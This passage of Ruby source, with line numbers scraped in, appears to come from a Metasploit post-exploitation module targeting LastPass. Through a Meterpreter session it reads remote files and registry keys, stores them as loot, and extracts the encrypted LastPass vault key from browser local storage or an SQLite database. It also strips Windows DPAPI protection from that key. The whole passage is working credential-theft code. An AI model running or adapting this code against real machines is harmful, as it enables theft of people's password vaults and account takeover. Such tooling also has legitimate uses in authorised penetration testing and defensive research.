data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
775
return nil if data.nil?
776
777
loot_path = store_loot(
778
title,
779
type,
780
session,
781
data,
782
nil,
783
description
784
)
785
loot_path
786
end
787
788
# Reads a remote file and returns the data
789
def read_remote_file(path)
790
data = nil
791
792
begin
793
data = read_file(path)
794
rescue EOFError
795
vprint_error "Error reading file #{path} It could be empty"
796
end
797
data
798
end
799
800
def read_registry_key_value(key, value)
801
begin
802
root_key, base_key = session.sys.registry.splitkey(key)
803
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
804
return nil unless reg_key
805
806
reg_value = reg_key.query_value(value)
807
return nil unless reg_value
808
rescue Rex::Post::Meterpreter::RequestError => e
809
vprint_error("#{e.message} (#{key}\\#{value})")
810
end
811
reg_key.close if reg_key
812
return reg_value.blank? ? nil : reg_value.data
813
end
814
815
def extract_local_encrypted_vault_key(browser, username, lp_data)
816
if browser.match(/Firefox|IE/)
817
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps'
818
encrypted_vault_key = read_remote_file(encrypted_key_path)
819
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
820
else
821
db = SQLite3::Database.new(lp_data['lp_db_loot'])
822
result = db.execute(
823
'SELECT data FROM LastPassData ' \
824
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
825
)
826
encrypted_vault_key = result[0][0]
827
end
828
829
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
830
end
831
832
# Returns OS separator in a session type agnostic way
833
def system_separator
834
return session.platform == 'windows' ? '\\' : '/'
835
end
836
end
837
838